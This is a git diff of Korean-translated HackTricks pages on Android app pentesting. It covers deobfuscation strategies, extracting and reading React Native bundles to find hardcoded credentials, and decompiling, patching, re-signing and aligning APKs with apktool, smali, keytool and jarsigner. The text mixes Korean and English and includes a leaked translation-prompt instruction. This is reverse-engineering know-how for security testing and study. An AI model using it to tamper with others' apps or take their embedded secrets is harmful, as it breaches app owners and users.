및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하세요.
diff --git a/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md index e165e11a8..e4d6e677a 100644 --- a/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -1,64 +1,66 @@ +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기교를 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## **수동 **해독 기법** +## 수동 **디옵스큐레이션 기법** -**소프트웨어 보안** 영역에서 **암호화된 코드를 이해 가능한 형태로 만드는** 프로세스인 **해독**은 중요합니다. 이 가이드는 정적 분석 기법과 암호화 패턴 인식에 초점을 맞춘 다양한 해독 전략을 다룹니다. 또한 실제 응용 및 더 고급 주제를 탐구하려는 사람들을 위한 추가 자료를 제공합니다. +**소프트웨어 보안** 분야에서, 코드의 난독화를 이해할 수 있도록 만드는 과정인 **디옵스큐레이션**은 매우 중요합니다. 이 가이드는 디옵스큐레이션을 위한 다양한 전략을 다루며, 정적 분석 기법과 난독화 패턴 인식에 중점을 둡니다. 또한, 실용적인 적용을 위한 연습을 소개하고, 더 고급 주제를 탐구하고자 하는 이들을 위한 추가 자료를 제안합니다. -### **정적 해독을 위한 전략** +### **정적 디옵스큐레이션 전략** -**암호화된 코드**를 다룰 때, 암호화의 성격에 따라 여러 전략을 사용할 수 있습니다: +**난독화된 코드**를 다룰 때, 난독화의 성격에 따라 여러 가지 전략을 사용할 수 있습니다: -- **DEX 바이트 코드 (Java)**: 효과적인 접근 방법 중 하나는 응용 프로그램의 해독 방법을 식별한 다음 이러한 방법을 Java 파일에 복제하는 것입니다. 이 파일은 대상 요소의 암호화를 되돌리기 위해 실행됩니다. -- **Java 및 Native Code**: 다른 방법은 해독 알고리즘을 Python과 같은 스크립팅 언어로 변환하는 것입니다. 이 전략은 주요 목표가 알고리즘을 완전히 이해하는 것이 아니라 효과적으로 실행하는 것임을 강조합니다. +- **DEX 바이트코드 (Java)**: 효과적인 접근법 중 하나는 애플리케이션의 디옵스큐레이션 메서드를 식별한 후, 이 메서드를 Java 파일에 복제하는 것입니다. 이 파일을 실행하여 대상 요소의 난독화를 되돌립니다. +- **Java 및 네이티브 코드**: 또 다른 방법은 디옵스큐레이션 알고리즘을 Python과 같은 스크립팅 언어로 변환하는 것입니다. 이 전략은 주요 목표가 알고리즘을 완전히 이해하는 것이 아니라 효과적으로 실행하는 것임을 강조합니다. -### **암호화 인식** +### **난독화 인식하기** -암호화된 코드를 인식하는 것은 해독 프로세스의 첫 번째 단계입니다. 주요 지표는 다음과 같습니다: +난독화된 코드를 인식하는 것은 디옵스큐레이션 과정의 첫 번째 단계입니다. 주요 지표는 다음과 같습니다: -- Java 및 Android에서 **문자열의 부재 또는 섞임**은 문자열 암호화를 시사할 수 있습니다. -- 에셋 디렉토리에 **바이너리 파일의 존재** 또는 `DexClassLoader` 호출은 코드 해제 및 동적 로딩을 시사합니다. -- **식별할 수 없는 JNI 함수와 함께 사용되는 네이티브 라이브러리의 사용**은 네이티브 메서드의 암호화를 시사합니다. +- Java 및 Android에서 **문자열의 부재 또는 혼란**이 있으며, 이는 문자열 난독화를 시사할 수 있습니다. +- **자산 디렉토리의 바이너리 파일 존재** 또는 `DexClassLoader` 호출이 있으며, 이는 코드 언팩 및 동적 로딩을 암시합니다. +- **식별할 수 없는 JNI 함수와 함께 네이티브 라이브러리 사용**이 있으며, 이는 네이티브 메서드의 난독화를 나타낼 수 있습니다. -## **해독에서의 동적 분석** +## **디옵스큐레이션에서의 동적 분석** -제어된 환경에서 코드를 실행함으로써 동적 분석은 **암호화된 코드의 실시간 동작을 관찰**할 수 있게 합니다. 이 방법은 코드의 진정한 의도를 숨기기 위해 설계된 복잡한 암호화 패턴의 내부 작동을 효과적으로 발견하는 데 특히 효과적입니다. +제어된 환경에서 코드를 실행함으로써, 동적 분석은 **난독화된 코드가 실시간으로 어떻게 작동하는지를 관찰할 수 있게 해줍니다**. 이 방법은 코드의 진정한 의도를 숨기기 위해 설계된 복잡한 난독화 패턴의 내부 작동을 밝혀내는 데 특히 효과적입니다. ### **동적 분석의 응용** -- **런타임 복호화**: 많은 암호화 기법은 런타임에서만 복호화되는 문자열이나 코드 세그먼트를 암호화합니다. 동적 분석을 통해 이러한 암호화된 요소를 복호화하는 순간에 포착하여 진정한 형태를 확인할 수 있습니다. -- **암호화 기법 식별**: 응용 프로그램의 동작을 모니터링함으로써 동적 분석은 코드 가상화, 패커 또는 동적 코드 생성과 같은 특정 암호화 기법을 식별하는 데 도움이 될 수 있습니다. -- **숨겨진 기능 발견**: 암호화된 코드에는 정적 분석만으로는 알아차리기 어려운 숨겨진 기능이 포함될 수 있습니다. 동적 분석을 통해 조건에 따라 실행되는 모든 코드 경로를 관찰하여 이러한 숨겨진 기능을 발견할 수 있습니다. +- **런타임 복호화**: 많은 난독화 기법은 문자열이나 코드 세그먼트를 암호화하며, 이는 런타임에만 복호화됩니다. 동적 분석을 통해 이러한 암호화된 요소는 복호화 순간에 캡처되어 그 진정한 형태를 드러낼 수 있습니다. +- **난독화 기법 식별**: 애플리케이션의 동작을 모니터링함으로써, 동적 분석은 코드 가상화, 패커 또는 동적 코드 생성과 같은 특정 난독화 기법을 식별하는 데 도움을 줄 수 있습니다. +- **숨겨진 기능 발견**: 난독화된 코드는 정적 분석만으로는 명백하지 않은 숨겨진 기능을 포함할 수 있습니다. 동적 분석은 조건부로 실행되는 모든 코드 경로를 관찰하여 이러한 숨겨진 기능을 밝혀낼 수 있습니다. -## 참고 자료 및 추가 독서 +## 참고 문헌 및 추가 읽기 * [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html) * BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] -* 이 발표에서는 Android 애플리케이션에서 사용되는 가장 복잡한 안티 분석 네이티브 라이브러리 중 하나를 역공학하는 과정을 다룹니다. 이는 주로 네이티브 코드에서의 암호화 기법을 다룹니다. +* 이 발표는 제가 본 가장 복잡한 안티 분석 네이티브 라이브러리 중 하나를 리버스 엔지니어링하는 과정을 다룹니다. 주로 네이티브 코드의 난독화 기법을 다룹니다. * REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] -* 이 발표에서는 Java 코드만을 사용한 일련의 암호화 기법을 다루며, Android 봇넷이 동작을 숨기기 위해 사용한 기법입니다. +* 이 발표는 Android 봇넷이 행동을 숨기기 위해 사용한 일련의 난독화 기법을 Java 코드에서만 다룹니다. +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기교를 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/react-native-application.md b/mobile-pentesting/android-app-pentesting/react-native-application.md index 6e230972c..d0086e42a 100644 --- a/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -1,66 +1,64 @@ +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} # React Native 애플리케이션 분석 -애플리케이션이 React Native 프레임워크로 작성되었는지 확인하려면 다음 단계를 따르세요: +애플리케이션이 React Native 프레임워크로 구축되었는지 확인하려면 다음 단계를 따르세요: -1. APK 파일의 이름을 zip 확장자로 변경하고 `cp com.example.apk example-apk.zip` 및 `unzip -qq example-apk.zip -d ReactNative` 명령을 사용하여 새 폴더에 압축을 해제합니다. +1. APK 파일의 이름을 zip 확장자로 변경하고 `cp com.example.apk example-apk.zip` 및 `unzip -qq example-apk.zip -d ReactNative` 명령을 사용하여 새 폴더에 추출합니다. -2. 새로 생성된 ReactNative 폴더로 이동하고 assets 폴더를 찾습니다. 이 폴더 안에는 React JavaScript가 압축된 형식으로 포함된 `index.android.bundle` 파일이 있어야 합니다. +2. 새로 생성된 ReactNative 폴더로 이동하여 assets 폴더를 찾습니다. 이 폴더 안에는 minified 형식의 React JavaScript가 포함된 `index.android.bundle` 파일이 있어야 합니다. 3. `find . -print | grep -i ".bundle$"` 명령을 사용하여 JavaScript 파일을 검색합니다. -JavaScript 코드를 더 자세히 분석하기 위해 동일한 디렉토리에 `index.html`이라는 파일을 생성하고 다음 코드를 추가하세요: +JavaScript 코드를 추가로 분석하려면, 동일한 디렉토리에 `index.html`이라는 파일을 생성하고 다음 코드를 입력합니다: ```html ``` -다음은 React Native 애플리케이션의 파일 /hive/hacktricks/mobile-pentesting/android-app-pentesting/react-native-application.md에서의 내용입니다. 관련된 영어 텍스트를 한국어로 번역하고, 정확히 동일한 마크다운 및 HTML 구문을 유지한 채 번역을 반환하세요. 코드, 해킹 기법 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...), 'leak'이라는 단어, pentesting 및 마크다운 태그와 같은 항목은 번역하지 마세요. 또한 번역 및 마크다운 구문 이외의 추가 내용은 추가하지 마세요. - -```markdown -파일을 [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/)에 업로드하거나 다음 단계를 따르세요: +You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or follow these steps: 1. Google Chrome에서 `index.html` 파일을 엽니다. -2. **OS X의 경우 Command+Option+J** 또는 **Windows의 경우 Control+Shift+J**를 눌러 개발자 도구 모음을 엽니다. +2. **OS X의 경우 Command+Option+J** 또는 **Windows의 경우 Control+Shift+J**를 눌러 개발자 도구를 엽니다. -3. 개발자 도구 모음에서 "Sources"를 클릭합니다. 주요 번들을 구성하는 폴더와 파일로 분할된 JavaScript 파일을 볼 수 있어야 합니다. +3. 개발자 도구에서 "Sources"를 클릭합니다. 폴더와 파일로 나뉘어진 JavaScript 파일이 보일 것입니다. 이는 주요 번들을 구성합니다. -`index.android.bundle.map`이라는 파일을 찾으면 소스 코드를 비압축 형식으로 분석할 수 있습니다. 맵 파일에는 압축된 식별자를 매핑할 수 있는 소스 매핑이 포함되어 있습니다. +`index.android.bundle.map`이라는 파일을 찾으면, 비축소 형식으로 소스 코드를 분석할 수 있습니다. 맵 파일은 소스 매핑을 포함하고 있어, 축소된 식별자를 매핑할 수 있습니다. -민감한 자격 증명 및 엔드포인트를 검색하려면 다음 단계를 따르세요: +민감한 자격 증명 및 엔드포인트를 검색하려면 다음 단계를 따르십시오: -1. JavaScript 코드를 분석하기 위해 민감한 키워드를 식별합니다. React Native 애플리케이션은 종종 Firebase, AWS S3 서비스 엔드포인트, 개인 키 등과 같은 타사 서비스를 사용합니다. +1. JavaScript 코드를 분석하기 위해 민감한 키워드를 식별합니다. React Native 애플리케이션은 종종 Firebase, AWS S3 서비스 엔드포인트, 개인 키 등과 같은 서드파티 서비스를 사용합니다. -2. 이 특정 경우에는 애플리케이션이 Dialogflow 서비스를 사용하는 것으로 관찰되었습니다. 해당 구성과 관련된 패턴을 검색합니다. +2. 이 특정 경우에, 애플리케이션이 Dialogflow 서비스를 사용하고 있는 것으로 관찰되었습니다. 그 구성과 관련된 패턴을 검색합니다. -3. 탐색 과정에서 JavaScript 코드에서 민감한 하드코딩된 자격 증명을 발견할 수 있었습니다. +3. 재조사 과정에서 JavaScript 코드에서 민감한 하드코딩된 자격 증명이 발견된 것은 다행이었습니다. -## 참고 자료 +## References * [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-``` +{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/smali-changes.md b/mobile-pentesting/android-app-pentesting/smali-changes.md index 30b7f0a85..8565b0769 100644 --- a/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -1,97 +1,98 @@ -# Smali - 디컴파일/수정/컴파일 +# Smali - Decompiling/\[Modifying]/Compiling + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -가끔은 응용 프로그램 코드를 수정하여 숨겨진 정보에 액세스하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호 또는 플래그). 그런 다음, apk를 디컴파일하여 코드를 수정하고 다시 컴파일하는 것이 흥미로울 수 있습니다. +때때로 숨겨진 정보를 얻기 위해 애플리케이션 코드를 수정하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호나 플래그). 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다. -**Opcode 참조:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html) +**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html) -## 빠른 방법 +## Fast Way -**Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장 프로그램을 사용하면 명령을 실행하지 않고도 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 응용 프로그램을 설치할 수 있습니다. +**Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장을 사용하면 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 애플리케이션을 설치할 수 있습니다. 어떤 명령도 실행할 필요가 없습니다. -이 작업을 매우 간단하게 해주는 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다. +이 작업을 많이 용이하게 하는 또 다른 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다. -## APK 디컴파일 +## Decompile the APK -APKTool을 사용하면 **smali 코드와 리소스**에 액세스할 수 있습니다: +APKTool을 사용하면 **smali 코드와 리소스**에 접근할 수 있습니다: ```bash apktool d APP.apk ``` -만약 **apktool**이 오류를 발생시킨다면, [**최신 버전을 설치**](https://ibotpeaches.github.io/Apktool/install/)해보세요. +If **apktool** gives you any error, try[ installing the **latest version**](https://ibotpeaches.github.io/Apktool/install/) -조사해볼만한 **흥미로운 파일들**은 다음과 같습니다: +Some **interesting files you should look are**: -* _res/values/strings.xml_ (그리고 res/values/\* 안의 모든 xml 파일) +* _res/values/strings.xml_ (and all xmls inside res/values/\*) * _AndroidManifest.xml_ -* _.sqlite_ 또는 _.db_ 확장자를 가진 어떤 파일이든 +* Any file with extension _.sqlite_ or _.db_ -만약 `apktool`이 **애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** 인자를 사용해보세요 (리소스를 디코딩하지 않음). 그러면, 만약 문제가 소스 코드가 아닌 리소스에 있었다면, 문제가 해결될 것입니다 (리소스도 디컴파일되지 않을 것입니다). +If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** (Do not decode resources). Then, if the problem was in a resource and not in the source code, you won't have the problem (you won't also decompile the resources). -## Smali 코드 변경 +## Change smali code -**명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, 새로운 명령어를 **추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경합니다. 그런 다음 **smalise 확장 프로그램**을 설치하면 편집기가 잘못된 명령어를 알려줍니다.\ -다음에서 **일부 예시**를 찾을 수 있습니다: +You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**.\ +Some **examples** can be found here: -* [Smali 변경 예시](smali-changes.md) +* [Smali changes examples](smali-changes.md) * [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md) -또는 [**아래에서 일부 설명된 Smali 변경 사항을 확인**](smali-changes.md#modifying-smali)할 수 있습니다. +Or you can [**check below some Smali changes explained**](smali-changes.md#modifying-smali). -## APK 재컴파일 +## Recompile the APK -코드를 수정한 후에는 다음을 사용하여 코드를 **재컴파일**할 수 있습니다: +After modifying the code you can **recompile** the code using: ```bash apktool b . #In the folder generated when you decompiled the application ``` -새로운 APK를 **dist** 폴더 안에 **컴파일**합니다. +새 APK는 _**dist**_ 폴더 **내부**에 **컴파일**됩니다. -만약 **apktool**이 **에러**를 발생시킨다면, [**최신 버전**을 설치](https://ibotpeaches.github.io/Apktool/install/)해보세요. +만약 **apktool**이 **오류**를 발생시키면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요. -### **새로운 APK에 서명하기** +### **새 APK 서명하기** -그런 다음, **키를 생성**해야 합니다 (비밀번호와 일부 정보를 무작위로 입력하라는 요청이 있을 것입니다): +그 다음, **키를 생성**해야 합니다(비밀번호와 무작위로 입력할 수 있는 몇 가지 정보가 요청됩니다): ```bash keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ``` -마지막으로, 새로운 APK에 **서명**하세요: +마지막으로, **서명**하여 새로운 APK를 만듭니다: ```bash jarsigner -keystore key.jks path/to/dist/* ``` ### 새로운 애플리케이션 최적화 -**zipalign**은 Android 애플리케이션 (APK) 파일에 중요한 최적화를 제공하는 아카이브 정렬 도구입니다. [자세한 정보는 여기에서 확인하세요](https://developer.android.com/studio/command-line/zipalign). +**zipalign**은 Android 애플리케이션 (APK) 파일에 중요한 최적화를 제공하는 아카이브 정렬 도구입니다. [자세한 정보는 여기](https://developer.android.com/studio/command-line/zipalign)에서 확인하세요. ```bash zipalign [-f] [-v] infile.apk outfile.apk zipalign -v 4 infile.apk ``` -### **새 APK에 서명하기 (다시?)** +### **새 APK 서명하기 (다시?)** -만약 jarsigner 대신 [apksigner](https://developer.android.com/studio/command-line/)을 사용하고 싶다면, zipalign을 적용한 후에 apk에 서명해야 합니다. 그러나 주의해야 할 점은 jarsigner로 (zipalign 이전에) 애플리케이션에 한 번만 서명하거나, zipalign 이후에 aspsigner로 한 번만 서명해야 한다는 것입니다. +만약 **apksigner**를 사용하고 싶다면 [**apksigner**](https://developer.android.com/studio/command-line/) 대신 jarsigner, **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다**. 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 aspsigner로 (zipalign 이후). ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk ``` ## Smali 수정 -다음은 Hello World Java 코드입니다: +다음 Hello World Java 코드: ```java public static void printHelloWorld() { System.out.println("Hello World") } ``` -Smali 코드는 다음과 같습니다: +스말리 코드는 다음과 같습니다: ```java .method public static printHelloWorld()V .registers 2 @@ -101,13 +102,13 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V return-void .end method ``` -Smali 명령어 집합은 [여기](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions)에서 확인할 수 있습니다. +The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions). -### 경량 변경 +### Light Changes -### 함수 내부에서 변수의 초기값 수정 +### 함수 내 변수의 초기 값 수정 -일부 변수는 함수의 시작 부분에서 _const_ 옵코드를 사용하여 정의됩니다. 이 값을 수정하거나 새로운 값을 정의할 수 있습니다: +일부 변수는 함수의 시작 부분에서 _const_ opcode를 사용하여 정의되며, 해당 변수의 값을 수정하거나 새로운 값을 정의할 수 있습니다: ```bash #Number const v9, 0xf4240 @@ -116,26 +117,6 @@ const/4 v8, 0x1 const-string v5, "wins" ``` ### 기본 작업 - -#### Smali 파일 수정 - -Smali 파일은 안드로이드 애플리케이션의 소스 코드를 포함하는 파일입니다. Smali 파일을 수정하여 애플리케이션의 동작을 변경할 수 있습니다. - -#### Smali 코드 분석 - -Smali 코드는 Dalvik 가상 머신에서 실행되는 안드로이드 애플리케이션의 바이트 코드입니다. Smali 코드를 분석하여 애플리케이션의 동작을 이해할 수 있습니다. - -#### Smali 코드 인젝션 - -Smali 코드 인젝션은 애플리케이션의 Smali 파일에 악성 코드를 삽입하는 기술입니다. 이를 통해 애플리케이션의 동작을 조작하거나 악성 기능을 추가할 수 있습니다. - -#### Smali 코드 변조 - -Smali 코드 변조는 애플리케이션의 Smali 파일을 수정하여 원하는 동작을 수행하도록 변경하는 기술입니다. 이를 통해 애플리케이션의 보안 기능을 우회하거나 악용할 수 있습니다. - -#### Smali 코드 역어셈블 - -Smali 코드 역어셈블은 애플리케이션의 Smali 파일을 원래의 소스 코드로 변환하는 기술입니다. 이를 통해 애플리케이션의 동작을 분석하거나 수정할 수 있습니다. ```bash #Math add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0 @@ -158,7 +139,7 @@ iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Save v0 inside if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6 goto :goto_6 #Always go to: :goto_6 ``` -### 큰 변경 사항 +### 더 큰 변화 ### 로깅 ```bash @@ -169,19 +150,19 @@ move-result-object v1 #Move to v1 const-string v5, "wins" #Save "win" inside v5 invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I #Logging "Wins: " ``` -추천 사항: +Recommendations: -* 함수 내에서 선언된 변수를 사용할 경우 (선언된 